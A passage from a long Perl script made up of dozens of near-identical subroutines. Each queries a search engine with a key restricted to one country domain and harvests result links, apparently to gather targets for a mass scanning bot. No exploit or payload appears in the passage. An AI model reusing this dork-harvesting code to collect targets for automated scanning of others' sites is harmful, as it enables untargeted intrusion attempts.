  7202.     my $key = $_[0];
  7203.     for (my $i=0; $i<=1000; $i+=100){
  7204.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Azm%26num%3D100%26start%3D".$i);
  7205.         my $res = &search_engine_query($search);
  7206.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7207.             my $link = $1;
  7208.             if ($link !~ /google/){
  7209.                 my @grep = &links($link);
  7210.                 push(@list,@grep);
  7211.             }
  7212.         }
  7213.     }
  7214.     return @list;
  7215. }
  7216.  
  7217. sub ws() {
  7218.     my @list;
  7219.     my $key = $_[0];
  7220.     for (my $i=0; $i<=1000; $i+=100){
  7221.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i);
  7222.         my $res = &search_engine_query($search);
  7223.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7224.             my $link = $1;
  7225.             if ($link !~ /google/){
  7226.                 my @grep = &links($link);
  7227.                 push(@list,@grep);
  7228.             }
  7229.         }
  7230.     }
  7231.     return @list;
  7232. }
  7233.  
  7234. sub af() {
  7235.     my @list;
  7236.     my $key = $_[0];
  7237.     for (my $i=0; $i<=1000; $i+=100){
  7238.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aaf%26num%3D100%26start%3D".$i);
  7239.         my $res = &search_engine_query($search);
  7240.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7241.             my $link = $1;
  7242.             if ($link !~ /google/){
  7243.                 my @grep = &links($link);
  7244.                 push(@list,@grep);
  7245.             }
  7246.         }
  7247.     }
  7248.     return @list;
  7249. }
  7250.  
  7251. sub ax() {
  7252.     my @list;
  7253.     my $key = $_[0];
  7254.     for (my $i=0; $i<=1000; $i+=100){
  7255.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Aax%26num%3D100%26start%3D".$i);
  7256.         my $res = &search_engine_query($search);
  7257.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7258.             my $link = $1;
  7259.             if ($link !~ /google/){
  7260.                 my @grep = &links($link);
  7261.                 push(@list,@grep);
  7262.             }
  7263.         }
  7264.     }
  7265.     return @list;
  7266. }
  7267.  
  7268. sub al() {
  7269.     my @list;
  7270.     my $key = $_[0];
  7271.     for (my $i=0; $i<=1000; $i+=100){
  7272.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Aal%26num%3D100%26start%3D".$i);
  7273.         my $res = &search_engine_query($search);
  7274.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7275.             my $link = $1;
  7276.             if ($link !~ /google/){
  7277.                 my @grep = &links($link);
  7278.                 push(@list,@grep);
  7279.             }
  7280.         }
  7281.     }
  7282.     return @list;
  7283. }
  7284.  
  7285. sub dz() {
  7286.     my @list;
  7287.     my $key = $_[0];
  7288.     for (my $i=0; $i<=1000; $i+=100){
  7289.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Adz%26num%3D100%26start%3D".$i);
  7290.         my $res = &search_engine_query($search);
  7291.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7292.             my $link = $1;
  7293.             if ($link !~ /google/){
  7294.                 my @grep = &links($link);
  7295.                 push(@list,@grep);
  7296.             }
  7297.         }
  7298.     }
  7299.     return @list;
  7300. }
  7301.  
  7302. sub ao() {
  7303.     my @list;
  7304.     my $key = $_[0];
  7305.     for (my $i=0; $i<=1000; $i+=100){
  7306.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aao%26num%3D100%26start%3D".$i);
  7307.         my $res = &search_engine_query($search);
  7308.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7309.             my $link = $1;
  7310.             if ($link !~ /google/){
  7311.                 my @grep = &links($link);
  7312.                 push(@list,@grep);
  7313.             }
  7314.         }
  7315.     }
  7316.     return @list;
  7317. }
  7318.  
  7319. sub aq() {
  7320.     my @list;
  7321.     my $key = $_[0];
  7322.     for (my $i=0; $i<=1000; $i+=100){
  7323.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aaq%26num%3D100%26start%3D".$i);
  7324.         my $res = &search_engine_query($search);
  7325.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7326.             my $link = $1;
  7327.             if ($link !~ /google/){
  7328.                 my @grep = &links($link);
  7329.                 push(@list,@grep);
  7330.             }
  7331.         }
  7332.     }
  7333.     return @list;
  7334. }
  7335.  
  7336. sub am() {
  7337.     my @list;
  7338.     my $key = $_[0];
  7339.     for (my $i=0; $i<=1000; $i+=100){
  7340.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aam%26num%3D100%26start%3D".$i);
  7341.         my $res = &search_engine_query($search);
  7342.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7343.             my $link = $1;
  7344.             if ($link !~ /google/){
  7345.                 my @grep = &links($link);
  7346.                 push(@list,@grep);
  7347.             }
  7348.         }
  7349.     }
  7350.     return @list;
  7351. }
  7352.  
  7353. sub aw() {
  7354.     my @list;
  7355.     my $key = $_[0];
  7356.     for (my $i=0; $i<=1000; $i+=100){
  7357.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aaw%26num%3D100%26start%3D".$i);
  7358.         my $res = &search_engine_query($search);
  7359.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7360.             my $link = $1;
  7361.             if ($link !~ /google/){
  7362.                 my @grep = &links($link);
  7363.                 push(@list,@grep);
  7364.             }
  7365.         }
  7366.     }
  7367.     return @list;
  7368. }
  7369.  
  7370. sub ac() {
  7371.     my @list;
  7372.     my $key = $_[0];
  7373.     for (my $i=0; $i<=1000; $i+=100){
  7374.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aac%26num%3D100%26start%3D".$i);
  7375.         my $res = &search_engine_query($search);
  7376.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7377.             my $link = $1;
  7378.             if ($link !~ /google/){
  7379.                 my @grep = &links($link);
  7380.                 push(@list,@grep);
  7381.             }
  7382.         }
  7383.     }
  7384.     return @list;
  7385. }
  7386.  
  7387. sub bj() {
  7388.     my @list;
  7389.     my $key = $_[0];
  7390.     for (my $i=0; $i<=1000; $i+=100){
  7391.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Abj%26num%3D100%26start%3D".$i);
  7392.         my $res = &search_engine_query($search);
  7393.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7394.             my $link = $1;
  7395.             if ($link !~ /google/){
  7396.                 my @grep = &links($link);
  7397.                 push(@list,@grep);
  7398.             }
  7399.         }
  7400.     }
  7401.     return @list;
  7402. }
  7403.  
  7404.  
  7405. sub bm() {
  7406.     my @list;
  7407.     my $key = $_[0];
  7408.     for (my $i=0; $i<=1000; $i+=100){
  7409.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Abm%26num%3D100%26start%3D".$i);
  7410.         my $res = &search_engine_query($search);
  7411.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7412.             my $link = $1;
  7413.             if ($link !~ /google/){
  7414.                 my @grep = &links($link);
  7415.                 push(@list,@grep);
  7416.             }
  7417.         }
  7418.     }
  7419.     return @list;
  7420. }
  7421.  
  7422. sub bt() {
  7423.     my @list;
  7424.     my $key = $_[0];
  7425.     for (my $i=0; $i<=1000; $i+=100){
  7426.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Abt%26num%3D100%26start%3D".$i);
  7427.         my $res = &search_engine_query($search);
  7428.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7429.             my $link = $1;
  7430.             if ($link !~ /google/){
  7431.                 my @grep = &links($link);
  7432.                 push(@list,@grep);
  7433.             }
  7434.         }
  7435.     }
  7436.     return @list;
  7437. }
  7438.  
  7439. sub bw() {
  7440.     my @list;
  7441.     my $key = $_[0];
  7442.     for (my $i=0; $i<=1000; $i+=100){
  7443.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Abw%26num%3D100%26start%3D".$i);
  7444.         my $res = &search_engine_query($search);
  7445.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7446.             my $link = $1;
  7447.             if ($link !~ /google/){
  7448.                 my @grep = &links($link);
  7449.                 push(@list,@grep);
  7450.             }
  7451.         }
  7452.     }
  7453.     return @list;
  7454. }
  7455.  
  7456. sub io() {
  7457.     my @list;
  7458.     my $key = $_[0];
  7459.     for (my $i=0; $i<=1000; $i+=100){
  7460.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aio%26num%3D100%26start%3D".$i);
  7461.         my $res = &search_engine_query($search);
  7462.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7463.             my $link = $1;
  7464.             if ($link !~ /google/){
  7465.                 my @grep = &links($link);
  7466.                 push(@list,@grep);
  7467.             }
  7468.         }
  7469.     }
  7470.     return @list;
  7471. }
  7472.  
  7473. sub bn() {
  7474.     my @list;
  7475.     my $key = $_[0];
  7476.     for (my $i=0; $i<=1000; $i+=100){
  7477.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Abn%26num%3D100%26start%3D".$i);
  7478.         my $res = &search_engine_query($search);
  7479.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7480.             my $link = $1;
  7481.             if ($link !~ /google/){
  7482.                 my @grep = &links($link);
  7483.                 push(@list,@grep);
  7484.             }
  7485.         }
  7486.     }
  7487.     return @list;
  7488. }
  7489.  
  7490. sub bf() {
  7491.     my @list;
  7492.     my $key = $_[0];
  7493.     for (my $i=0; $i<=1000; $i+=100){
  7494.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Abf%26num%3D100%26start%3D".$i);
  7495.         my $res = &search_engine_query($search);
  7496.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7497.             my $link = $1;
  7498.             if ($link !~ /google/){
  7499.                 my @grep = &links($link);
  7500.                 push(@list,@grep);
  7501.             }
  7502.         }
  7503.     }
  7504.     return @list;
  7505. }
  7506.  
  7507. sub kh() {
  7508.     my @list;
  7509.     my $key = $_[0];
  7510.     for (my $i=0; $i<=1000; $i+=100){
  7511.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Akh%26num%3D100%26start%3D".$i);
  7512.         my $res = &search_engine_query($search);
  7513.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7514.             my $link = $1;
  7515.             if ($link !~ /google/){
  7516.                 my @grep = &links($link);
  7517.                 push(@list,@grep);
  7518.             }
  7519.         }
  7520.     }
  7521.     return @list;
  7522. }
  7523.  
  7524. sub cm() {
  7525.     my @list;
  7526.     my $key = $_[0];
  7527.     for (my $i=0; $i<=1000; $i+=100){
  7528.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Acm%26num%3D100%26start%3D".$i);
  7529.         my $res = &search_engine_query($search);
  7530.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7531.             my $link = $1;
  7532.             if ($link !~ /google/){
  7533.                 my @grep = &links($link);
  7534.                 push(@list,@grep);
  7535.             }
  7536.         }
  7537.     }
  7538.     return @list;
  7539. }
  7540.  
  7541. sub cv() {
  7542.     my @list;
  7543.     my $key = $_[0];
  7544.     for (my $i=0; $i<=1000; $i+=100){
  7545.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Acv%26num%3D100%26start%3D".$i);
  7546.         my $res = &search_engine_query($search);
  7547.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7548.             my $link = $1;
  7549.             if ($link !~ /google/){
  7550.                 my @grep = &links($link);
  7551.                 push(@list,@grep);
  7552.             }
  7553.         }
  7554.     }
  7555.     return @list;
  7556. }
  7557.  
  7558. sub ky() {
  7559.     my @list;
  7560.     my $key = $_[0];
  7561.     for (my $i=0; $i<=1000; $i+=100){
  7562.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aky%26num%3D100%26start%3D".$i);
  7563.         my $res = &search_engine_query($search);
  7564.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7565.             my $link = $1;
  7566.             if ($link !~ /google/){
  7567.                 my @grep = &links($link);
  7568.                 push(@list,@grep);
  7569.             }
  7570.         }
  7571.     }
  7572.     return @list;
  7573. }
  7574.  
  7575. sub cf() {
  7576.     my @list;
  7577.     my $key = $_[0];
  7578.     for (my $i=0; $i<=1000; $i+=100){
  7579.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Acf%26num%3D100%26start%3D".$i);
  7580.         my $res = &search_engine_query($search);
  7581.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7582.             my $link = $1;
  7583.             if ($link !~ /google/){
  7584.                 my @grep = &links($link);
  7585.                 push(@list,@grep);
  7586.             }
  7587.         }
  7588.     }
  7589.     return @list;
  7590. }
  7591.  
  7592. sub cx() {
  7593.     my @list;
  7594.     my $key = $_[0];
  7595.     for (my $i=0; $i<=1000; $i+=100){
  7596.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Acx%26num%3D100%26start%3D".$i);
  7597.         my $res = &search_engine_query($search);
  7598.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7599.             my $link = $1;
  7600.             if ($link !~ /google/){
  7601.                 my @grep = &links($link);
  7602.                 push(@list,@grep);
  7603.             }
  7604.         }
  7605.     }
  7606.     return @list;
  7607. }
  7608.  
  7609. sub cw() {
  7610.     my @list;
  7611.     my $key = $_[0];
  7612.     for (my $i=0; $i<=1000; $i+=100){
  7613.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Acw%26num%3D100%26start%3D".$i);
  7614.         my $res = &search_engine_query($search);
  7615.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7616.             my $link = $1;
  7617.             if ($link !~ /google/){
  7618.                 my @grep = &links($link);
  7619.                 push(@list,@grep);
  7620.             }
  7621.         }
  7622.     }
  7623.     return @list;
  7624. }
  7625.  
  7626. sub cy() {
  7627.     my @list;
  7628.     my $key = $_[0];
  7629.     for (my $i=0; $i<=1000; $i+=100){
  7630.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acy%26num%3D100%26start%3D".$i);
  7631.         my $res = &search_engine_query($search);
  7632.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7633.             my $link = $1;
  7634.             if ($link !~ /google/){
  7635.                 my @grep = &links($link);
  7636.                 push(@list,@grep);
  7637.             }
  7638.         }
  7639.     }
  7640.     return @list;
  7641. }
  7642.  
  7643. sub fk() {
  7644.     my @list;
  7645.     my $key = $_[0];
  7646.     for (my $i=0; $i<=1000; $i+=100){
  7647.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Afk%26num%3D100%26start%3D".$i);
  7648.         my $res = &search_engine_query($search);
  7649.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7650.             my $link = $1;
  7651.             if ($link !~ /google/){
  7652.                 my @grep = &links($link);
  7653.                 push(@list,@grep);
  7654.             }
  7655.         }
  7656.     }
  7657.     return @list;
  7658. }
  7659.  
  7660. sub fo() {
  7661.     my @list;
  7662.     my $key = $_[0];
  7663.     for (my $i=0; $i<=1000; $i+=100){
  7664.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Afo%26num%3D100%26start%3D".$i);
  7665.         my $res = &search_engine_query($search);
  7666.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7667.             my $link = $1;
  7668.             if ($link !~ /google/){
  7669.                 my @grep = &links($link);
  7670.                 push(@list,@grep);
  7671.             }
  7672.         }
  7673.     }
  7674.     return @list;
  7675. }
  7676.  
  7677. sub gh() {
  7678.     my @list;
  7679.     my $key = $_[0];
  7680.     for (my $i=0; $i<=1000; $i+=100){
  7681.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Agh%26num%3D100%26start%3D".$i);
  7682.         my $res = &search_engine_query($search);
  7683.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7684.             my $link = $1;
  7685.             if ($link !~ /google/){
  7686.                 my @grep = &links($link);
  7687.                 push(@list,@grep);
  7688.             }
  7689.         }
  7690.     }
  7691.     return @list;
  7692. }
  7693.  
  7694. sub gd() {
  7695.     my @list;
  7696.     my $key = $_[0];
  7697.     for (my $i=0; $i<=1000; $i+=100){
  7698.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Agd%26num%3D100%26start%3D".$i);
  7699.         my $res = &search_engine_query($search);
  7700.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7701.             my $link = $1;
  7702.             if ($link !~ /google/){
  7703.                 my @grep = &links($link);
  7704.                 push(@list,@grep);
  7705.             }
  7706.         }
  7707.     }
  7708.     return @list;
  7709. }
  7710.  
  7711. sub gp() {
  7712.     my @list;
  7713.     my $key = $_[0];
  7714.     for (my $i=0; $i<=1000; $i+=100){
  7715.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Agp%26num%3D100%26start%3D".$i);
  7716.         my $res = &search_engine_query($search);
  7717.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7718.             my $link = $1;
  7719.             if ($link !~ /google/){
  7720.                 my @grep = &links($link);
  7721.                 push(@list,@grep);
  7722.             }
  7723.         }
  7724.     }
  7725.     return @list;
  7726. }
  7727.  
  7728. sub gu() {
  7729.     my @list;
  7730.     my $key = $_[0];
  7731.     for (my $i=0; $i<=1000; $i+=100){
  7732.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Agu%26num%3D100%26start%3D".$i);
  7733.         my $res = &search_engine_query($search);
  7734.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7735.             my $link = $1;
  7736.             if ($link !~ /google/){
  7737.                 my @grep = &links($link);
  7738.                 push(@list,@grep);
  7739.             }
  7740.         }
  7741.     }
  7742.     return @list;
  7743. }
  7744.  
  7745. sub gn() {
  7746.     my @list;
  7747.     my $key = $_[0];
  7748.     for (my $i=0; $i<=1000; $i+=100){
  7749.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Agn%26num%3D100%26start%3D".$i);
  7750.         my $res = &search_engine_query($search);
  7751.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7752.             my $link = $1;
  7753.             if ($link !~ /google/){
  7754.                 my @grep = &links($link);
  7755.                 push(@list,@grep);
  7756.             }
  7757.         }
  7758.     }
  7759.     return @list;
  7760. }
  7761.  
  7762. sub gy() {
  7763.     my @list;
  7764.     my $key = $_[0];
  7765.     for (my $i=0; $i<=1000; $i+=100){
  7766.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Agy%26num%3D100%26start%3D".$i);
  7767.         my $res = &search_engine_query($search);
  7768.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7769.             my $link = $1;
  7770.             if ($link !~ /google/){
  7771.                 my @grep = &links($link);
  7772.                 push(@list,@grep);
  7773.             }
  7774.         }
  7775.     }
  7776.     return @list;
  7777. }
  7778.  
  7779. sub hm() {
  7780.     my @list;
  7781.     my $key = $_[0];
  7782.     for (my $i=0; $i<=1000; $i+=100){
  7783.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Ahm%26num%3D100%26start%3D".$i);
  7784.         my $res = &search_engine_query($search);
  7785.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7786.             my $link = $1;
  7787.             if ($link !~ /google/){
  7788.                 my @grep = &links($link);
  7789.                 push(@list,@grep);
  7790.             }
  7791.         }
  7792.     }
  7793.     return @list;
  7794. }
  7795.  
  7796. sub iq() {
  7797.     my @list;
  7798.     my $key = $_[0];
  7799.     for (my $i=0; $i<=1000; $i+=100){
  7800.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aiq%26num%3D100%26start%3D".$i);
  7801.         my $res = &search_engine_query($search);
  7802.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7803.             my $link = $1;
  7804.             if ($link !~ /google/){
  7805.                 my @grep = &links($link);
  7806.                 push(@list,@grep);
  7807.             }
  7808.         }
  7809.     }
  7810.     return @list;
  7811. }
  7812.  
  7813. sub jm() {
  7814.     my @list;
  7815.     my $key = $_[0];
  7816.     for (my $i=0; $i<=1000; $i+=100){
  7817.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ajm%26num%3D100%26start%3D".$i);
  7818.         my $res = &search_engine_query($search);
  7819.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7820.             my $link = $1;
  7821.             if ($link !~ /google/){
  7822.                 my @grep = &links($link);
  7823.                 push(@list,@grep);
  7824.             }
  7825.         }
  7826.     }
  7827.     return @list;
  7828. }
  7829.  
  7830. sub ki() {
  7831.     my @list;
  7832.     my $key = $_[0];
  7833.     for (my $i=0; $i<=1000; $i+=100){
  7834.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aki%26num%3D100%26start%3D".$i);
  7835.         my $res = &search_engine_query($search);
  7836.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7837.             my $link = $1;
  7838.             if ($link !~ /google/){
  7839.                 my @grep = &links($link);
  7840.                 push(@list,@grep);
  7841.             }
  7842.         }
  7843.     }
  7844.     return @list;
  7845. }
  7846.  
  7847. sub kw() {
  7848.     my @list;
  7849.     my $key = $_[0];
  7850.     for (my $i=0; $i<=1000; $i+=100){
  7851.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Akw%26num%3D100%26start%3D".$i);
  7852.         my $res = &search_engine_query($search);
  7853.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7854.             my $link = $1;
  7855.             if ($link !~ /google/){
  7856.                 my @grep = &links($link);
  7857.                 push(@list,@grep);
  7858.             }
  7859.         }
  7860.     }
  7861.     return @list;
  7862. }
  7863.  
  7864. sub la() {
  7865.     my @list;
  7866.     my $key = $_[0];
  7867.     for (my $i=0; $i<=1000; $i+=100){
  7868.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ala%26num%3D100%26start%3D".$i);
  7869.         my $res = &search_engine_query($search);
  7870.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7871.             my $link = $1;
  7872.             if ($link !~ /google/){
  7873.                 my @grep = &links($link);
  7874.                 push(@list,@grep);
  7875.             }
  7876.         }
  7877.     }
  7878.     return @list;
  7879. }
  7880.  
  7881. sub lb() {
  7882.     my @list;
  7883.     my $key = $_[0];
  7884.     for (my $i=0; $i<=1000; $i+=100){
  7885.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Alb%26num%3D100%26start%3D".$i);
  7886.         my $res = &search_engine_query($search);
  7887.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7888.             my $link = $1;
  7889.             if ($link !~ /google/){
  7890.                 my @grep = &links($link);
  7891.                 push(@list,@grep);
  7892.             }
  7893.         }
  7894.     }
  7895.     return @list;
  7896. }
  7897.  
  7898. sub lr() {
  7899.     my @list;
  7900.     my $key = $_[0];
  7901.     for (my $i=0; $i<=1000; $i+=100){
  7902.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Alr%26num%3D100%26start%3D".$i);
  7903.         my $res = &search_engine_query($search);
  7904.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7905.             my $link = $1;
  7906.             if ($link !~ /google/){
  7907.                 my @grep = &links($link);
  7908.                 push(@list,@grep);
  7909.             }
  7910.         }
  7911.     }
  7912.     return @list;
  7913. }
  7914.  
  7915. sub mo() {
  7916.     my @list;
  7917.     my $key = $_[0];
  7918.     for (my $i=0; $i<=1000; $i+=100){
  7919.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Amo%26num%3D100%26start%3D".$i);
  7920.         my $res = &search_engine_query($search);
  7921.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7922.             my $link = $1;
  7923.             if ($link !~ /google/){
  7924.                 my @grep = &links($link);
  7925.                 push(@list,@grep);
  7926.             }
  7927.         }
  7928.     }
  7929.     return @list;
  7930. }
  7931.  
  7932. sub mg() {
  7933.     my @list;
  7934.     my $key = $_[0];
  7935.     for (my $i=0; $i<=1000; $i+=100){
  7936.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Amg%26num%3D100%26start%3D".$i);
  7937.         my $res = &search_engine_query($search);
  7938.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7939.             my $link = $1;
  7940.             if ($link !~ /google/){
  7941.                 my @grep = &links($link);
  7942.                 push(@list,@grep);
  7943.             }
  7944.         }
  7945.     }
  7946.     return @list;
  7947. }
  7948.  
  7949. sub mv() {
  7950.     my @list;
  7951.     my $key = $_[0];
  7952.     for (my $i=0; $i<=1000; $i+=100){
  7953.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Amv%26num%3D100%26start%3D".$i);
  7954.         my $res = &search_engine_query($search);
  7955.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7956.             my $link = $1;
  7957.             if ($link !~ /google/){
  7958.                 my @grep = &links($link);
  7959.                 push(@list,@grep);
  7960.             }
  7961.         }
  7962.     }
  7963.     return @list;
  7964. }
  7965.  
  7966. sub mp() {
  7967.     my @list;
  7968.     my $key = $_[0];
  7969.     for (my $i=0; $i<=1000; $i+=100){
  7970.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Amp%26num%3D100%26start%3D".$i);
  7971.         my $res = &search_engine_query($search);
  7972.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7973.             my $link = $1;
  7974.             if ($link !~ /google/){
  7975.                 my @grep = &links($link);
  7976.                 push(@list,@grep);
  7977.             }
  7978.         }
  7979.     }
  7980.     return @list;
  7981. }
  7982.  
  7983. sub mq() {
  7984.     my @list;
  7985.     my $key = $_[0];
  7986.     for (my $i=0; $i<=1000; $i+=100){
  7987.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amq%26num%3D100%26start%3D".$i);
  7988.         my $res = &search_engine_query($search);
  7989.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7990.             my $link = $1;
  7991.             if ($link !~ /google/){
  7992.                 my @grep = &links($link);
  7993.                 push(@list,@grep);
  7994.             }
  7995.         }
  7996.     }
  7997.     return @list;
  7998. }
  7999.  
  8000. sub mr() {
  8001.     my @list;
  8002.     my $key = $_[0];
  8003.     for (my $i=0; $i<=1000; $i+=100){
  8004.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Amr%26num%3D100%26start%3D".$i);
  8005.         my $res = &search_engine_query($search);
  8006.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8007.             my $link = $1;
  8008.             if ($link !~ /google/){
  8009.                 my @grep = &links($link);
  8010.                 push(@list,@grep);
  8011.             }
  8012.         }
  8013.     }
  8014.     return @list;
  8015. }
  8016.  
  8017. sub yt() {
  8018.     my @list;
  8019.     my $key = $_[0];
  8020.     for (my $i=0; $i<=1000; $i+=100){
  8021.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ayt%26num%3D100%26start%3D".$i);
  8022.         my $res = &search_engine_query($search);
  8023.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8024.             my $link = $1;
  8025.             if ($link !~ /google/){
  8026.                 my @grep = &links($link);
  8027.                 push(@list,@grep);
  8028.             }
  8029.         }
  8030.     }
  8031.     return @list;
  8032. }
  8033.  
  8034. sub md() {
  8035.     my @list;
  8036.     my $key = $_[0];
  8037.     for (my $i=0; $i<=1000; $i+=100){
  8038.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Amd%26num%3D100%26start%3D".$i);
  8039.         my $res = &search_engine_query($search);
  8040.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8041.             my $link = $1;
  8042.             if ($link !~ /google/){
  8043.                 my @grep = &links($link);
  8044.                 push(@list,@grep);
  8045.             }
  8046.         }
  8047.     }
  8048.     return @list;
  8049. }
  8050.  
  8051. sub mc() {
  8052.     my @list;
  8053.     my $key = $_[0];
  8054.     for (my $i=0; $i<=1000; $i+=100){
  8055.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Amc%26num%3D100%26start%3D".$i);
  8056.         my $res = &search_engine_query($search);
  8057.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8058.             my $link = $1;
  8059.             if ($link !~ /google/){
  8060.                 my @grep = &links($link);
  8061.                 push(@list,@grep);
  8062.             }
  8063.         }
  8064.     }
  8065.     return @list;
  8066. }
  8067.  
  8068. sub me() {
  8069.     my @list;
  8070.     my $key = $_[0];
  8071.     for (my $i=0; $i<=1000; $i+=100){
  8072.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ame%26num%3D100%26start%3D".$i);
  8073.         my $res = &search_engine_query($search);
  8074.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8075.             my $link = $1;
  8076.             if ($link !~ /google/){
  8077.                 my @grep = &links($link);
  8078.                 push(@list,@grep);
  8079.             }
  8080.         }
  8081.     }
  8082.     return @list;
  8083. }
  8084.  
  8085. sub mz() {
  8086.     my @list;
  8087.     my $key = $_[0];
